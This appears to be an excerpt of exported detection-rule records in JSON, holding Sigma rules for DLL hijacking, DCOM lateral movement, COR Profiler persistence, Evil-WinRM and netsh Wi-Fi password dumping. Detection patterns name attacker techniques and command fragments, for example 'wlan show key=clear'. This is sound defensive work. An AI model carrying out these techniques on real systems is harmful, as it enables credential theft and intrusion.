+  "content": "title: DLL Hijacking via SandboxieBITS.exe\nid: 44948abc-3053-4899-af2a-e5a77e12bbba\ndescription: |\n    Detects potential Windows DLL Hijacking via SandboxieBITS.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/09/05\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'SandboxieBITS.exe'\n        ImageLoaded|endswith: '\\SbieDll.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Sandboxie'\n            - '?:\\Program Files (x86)\\Sandboxie'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\Sandboxie'\n            - '?:\\Program Files (x86)\\Sandboxie'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'SANDBOXIE L.T.D'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "44948abc-3053-4899-af2a-e5a77e12bbba",
+  "rule_name": "DLL Hijacking via SandboxieBITS.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via SandboxieBITS.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "44b1b40e-cd1b-4a5a-a147-ed7b17206a94",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076726Z",
+  "creation_date": "2026-03-23T11:45:34.076728Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076732Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
+    "https://www.ired.team/offensive-security/lateral-movement/t1175-distributed-component-object-model",
+    "https://attack.mitre.org/techniques/T1021/003/"
+  ],
+  "name": "t1021_003_lateral_movement_via_mmc20.yml",
+  "content": "title: Possible Lateral Movement via MMC20.Application\nid: 44b1b40e-cd1b-4a5a-a147-ed7b17206a94\ndescription: |\n    Detects processes spawned by the MMC (Microsoft Management Console) that could be the result of a lateral movement obtained via DCOM (Distributed Component Object Model) using the MMC20 Application COM Object.\n    Attackers can use this technique to execute remote commands on a target host, as part of lateral movement.\n    It is recommended to investigate the spawned process to look for malicious actions and content.\nreferences:\n    - https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/\n    - https://www.ired.team/offensive-security/lateral-movement/t1175-distributed-component-object-model\n    - https://attack.mitre.org/techniques/T1021/003/\ndate: 2023/05/16\nmodified: 2025/03/06\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1021.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentCommandLine: '?:\\Windows\\system32\\mmc.exe -Embedding'\n        GrandparentCommandLine: '?:\\Windows\\system32\\svchost.exe -k DcomLaunch'\n\n    exclusion_werfault:\n        Image: '?:\\Windows\\System32\\WerFault.exe'\n        CommandLine|contains: '\\WerFault.exe -u -p '\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "44b1b40e-cd1b-4a5a-a147-ed7b17206a94",
+  "rule_name": "Possible Lateral Movement via MMC20.Application",
+  "rule_description": "Detects processes spawned by the MMC (Microsoft Management Console) that could be the result of a lateral movement obtained via DCOM (Distributed Component Object Model) using the MMC20 Application COM Object.\nAttackers can use this technique to execute remote commands on a target host, as part of lateral movement.\nIt is recommended to investigate the spawned process to look for malicious actions and content.\n",
+  "rule_creation_date": "2023-05-16",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "450c62c8-d09c-4677-9e8a-fbea161fe78b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076194Z",
+  "creation_date": "2026-03-23T11:45:34.076196Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076201Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/setting-up-a-profiling-environment",
+    "https://github.com/OmerYa/Invisi-Shell",
+    "https://0xdf.gitlab.io/2019/03/15/htb-ethereal-cor.html",
+    "https://attack.mitre.org/techniques/T1574/012/"
+  ],
+  "name": "t1574_012_suspicious_cor_profiler.yml",
+  "content": "title: Suspicious COR Profiler CLSID Installed\nid: 450c62c8-d09c-4677-9e8a-fbea161fe78b\ndescription: |\n    Detects the installation of a COR Profiler in the system registry.\n    COR (Converged Open Runtimes) Profiler is a set of tools used for profiling .NET applications, allowing for the instrumentation and analysis of running .NET processes.\n    It can also be misused by attackers to inject arbitrary code when a .NET program is launched, serving as a persistence mechanism.\n    This rule targets a specific CLSID (Class identifier) known to be associated with malicious activities or tools using a COR Profiler (see references).\n    It is recommended to investigate the source of the registry entries, analyze process behavior linked to the detected CLSID and monitor for unusual .NET execution patterns.\nreferences:\n    - https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/setting-up-a-profiling-environment\n    - https://github.com/OmerYa/Invisi-Shell\n    - https://0xdf.gitlab.io/2019/03/15/htb-ethereal-cor.html\n    - https://attack.mitre.org/techniques/T1574/012/\ndate: 2020/10/11\nmodified: 2025/02/06\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1574.012\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject: 'HKU\\\\*_Classes\\CLSID\\{cf0d821e-299b-5307-a3d8-b283c03916db}\\InprocServer32\\(Default)'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "450c62c8-d09c-4677-9e8a-fbea161fe78b",
+  "rule_name": "Suspicious COR Profiler CLSID Installed",
+  "rule_description": "Detects the installation of a COR Profiler in the system registry.\nCOR (Converged Open Runtimes) Profiler is a set of tools used for profiling .NET applications, allowing for the instrumentation and analysis of running .NET processes.\nIt can also be misused by attackers to inject arbitrary code when a .NET program is launched, serving as a persistence mechanism.\nThis rule targets a specific CLSID (Class identifier) known to be associated with malicious activities or tools using a COR Profiler (see references).\nIt is recommended to investigate the source of the registry entries, analyze process behavior linked to the detected CLSID and monitor for unusual .NET execution patterns.\n",
+  "rule_creation_date": "2020-10-11",
+  "rule_modified_date": "2025-02-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4522741d-31ae-4866-8abe-96b3f416fc86",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075865Z",
+  "creation_date": "2026-03-23T11:45:34.075867Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075881Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_takeown.yml",
+  "content": "title: DLL Hijacking via takeown.exe\nid: 4522741d-31ae-4866-8abe-96b3f416fc86\ndescription: |\n    Detects potential Windows DLL Hijacking via takeown.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'takeown.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\SspiCli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4522741d-31ae-4866-8abe-96b3f416fc86",
+  "rule_name": "DLL Hijacking via takeown.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via takeown.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "45350ac4-ffd2-4ac5-b57d-819e6c36921a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077180Z",
+  "creation_date": "2026-03-23T11:45:34.077182Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077187Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Hackplayers/evil-winrm",
+    "https://attack.mitre.org/techniques/T1021/006/"
+  ],
+  "name": "t1021_006_evil_winrm_powershell_execution.yml",
+  "content": "title: Evil-WinRM PowerShell Session Started\nid: 45350ac4-ffd2-4ac5-b57d-819e6c36921a\ndescription: |\n    Detects a PowerShell activity by the Windows Remote Management (WinRM) process related to the execution of Evil-WinRM.\n    Adversaries can use valid accounts and the Evil-WinRM tool to access endpoints via WinRM and perform lateral movement.\n    It is recommended to investigate other PowerShell commands executed by the detected process and its children as well as any malicious actions they could have taken.\nreferences:\n    - https://github.com/Hackplayers/evil-winrm\n    - https://attack.mitre.org/techniques/T1021/006/\ndate: 2025/10/21\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1087\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.HackTool.evil-winrm\n    - classification.Windows.HackTool.evil-winrm-py\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        ProcessImage:\n            - '?:\\Windows\\System32\\wsmprovhost.exe'\n            - '?:\\Windows\\SysWOW64\\wsmprovhost.exe'\n\n    # https://github.com/Hackplayers/evil-winrm\n    selection_evilwinrm:\n        PowershellCommand|contains|all:\n            - '(get-location).path'\n            - 'if (!$?)'\n\n    # https://github.com/adityatelange/evil-winrm-py\n    selection_evilwinrmpy:\n        PowershellCommand: '$pwd.Path'\n\n    condition: selection and 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "45350ac4-ffd2-4ac5-b57d-819e6c36921a",
+  "rule_name": "Evil-WinRM PowerShell Session Started",
+  "rule_description": "Detects a PowerShell activity by the Windows Remote Management (WinRM) process related to the execution of Evil-WinRM.\nAdversaries can use valid accounts and the Evil-WinRM tool to access endpoints via WinRM and perform lateral movement.\nIt is recommended to investigate other PowerShell commands executed by the detected process and its children as well as any malicious actions they could have taken.\n",
+  "rule_creation_date": "2025-10-21",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1087"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4538136c-2f3b-423b-ab28-46ea322d43a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618278Z",
+  "creation_date": "2026-03-23T11:45:34.618280Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618284Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.synacktiv.com/publications/windows-secrets-extraction-a-summary",
+    "https://attack.mitre.org/techniques/T1003/",
+    "https://attack.mitre.org/techniques/T1016/002/"
+  ],
+  "name": "t1003_netsh_show_wlan_keys.yml",
+  "content": "title: Wireless Passwords Dumped via netsh\nid: 4538136c-2f3b-423b-ab28-46ea322d43a4\ndescription: |\n    Detects the dumping of wireless interfaces passwords using the netsh utility.\n    Wireless passwords can be dumped using the \"netsh wlan\" command.\n    Threat actors can use this to harvest WLAN passwords to ease further compromission from a wireless network.\n    Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.\n    It is recommended to examine the process tree associated with this process to understand the execution context and to determine the legitimacy of this action.\nreferences:\n    - https://www.synacktiv.com/publications/windows-secrets-extraction-a-summary\n    - https://attack.mitre.org/techniques/T1003/\n    - https://attack.mitre.org/techniques/T1016/002/\ndate: 2020/09/30\nmodified: 2025/05/09\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1016\n    - attack.t1016.002\n    - attack.credential_access\n    - attack.t1003\n    - attack.t1078\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Netsh\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_binary:\n        - Image|endswith: '\\netsh.exe'\n        - OriginalFileName: 'netsh.exe'\n\n    selection_keys:\n        CommandLine|contains:\n            - 'wlan*show*key=clear'\n            - 'wlan*export*key=clear'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    # NinjaRMMAgent\n    exclusion_ninjarmm:\n        GrandparentImage: '?:\\Program Files (x86)\\\\*\\winpty-agent.exe'\n\n    exclusion_cyberwatch:\n        GrandparentImage: '?:\\Program Files\\CYBERWATCH SAS\\CyberwatchAgent\\cyberwatch-agent.exe'\n\n    exclusion_eclipse:\n        ParentImage: '?:\\Program Files\\Java\\jdk-*\\bin\\javaw.exe'\n        GrandparentImage|endswith: '\\eclipse.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4538136c-2f3b-423b-ab28-46ea322d43a4",
+  "rule_name": "Wireless Passwords Dumped via netsh",
+  "rule_description": "Detects the dumping of wireless interfaces passwords using the netsh utility.\nWireless passwords can be dumped using the \"netsh wlan\" command.\nThreat actors can use this to harvest WLAN passwords to ease further compromission from a wireless network.\nAdversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.\nIt is recommended to examine the process tree associated with this process to understand the execution context and to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2020-09-30",
+  "rule_modified_date": "2025-05-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1016",
+    "attack.t1016.002",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "453ec392-74ba-49e5-9ed5-2fc7a3c52b71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592738Z",
+  "creation_date": "2026-03-23T11:45:34.592741Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592749Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-abuses-windows-defender-to-load-cobalt-strike/",
+    "https://twitter.com/Sh0ckFR/status/1554021948967079936",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_nissrv.yml",
+  "content": "title: DLL Hijacking via NisSrv.exe\nid: 453ec392-74ba-49e5-9ed5-2fc7a3c52b71\ndescription: |\n    Detects potential Windows DLL Hijacking via NisSrv.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers can use the legitimate and signed NisSrv.exe to load a malicious DLL named mpclient.dll and planted in the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://www.bleepingcomputer.com/news/security/lockbit-ransomware-abuses-windows-defender-to-load-cobalt-strike/\n    - https://twitter.com/Sh0ckFR/status/1554021948967079936\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/08/02\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'NisSrv.exe'\n        ProcessSignature: 'Microsoft Windows Publisher'\n        ImageLoaded|endswith: '\\mpclient.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Program Files\\Windows Defender\\'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Program Files\\Windows Defender\\'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "453ec392-74ba-49e5-9ed5-2fc7a3c52b71",
+  "rule_name": "DLL Hijacking via NisSrv.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via NisSrv.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers can use the legitimate and signed NisSrv.exe to load a malicious DLL named mpclient.dll and planted in the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-08-02",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4541ab75-2acf-47ff-bcc2-c8ac479ee8c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604936Z",
+  "creation_date": "2026-03-23T11:45:34.604940Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604947Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://ericazelic.medium.com/ldap-queries-for-offensive-and-defensive-operations-4b035b816814",
+    "https://blog.talosintelligence.com/emerging-interlock-ransomware/",
+    "https://attack.mitre.org/techniques/T1087/002/"
+  ],
+  "name": "t1087_002_domain_account_discovered_powershell.yml",
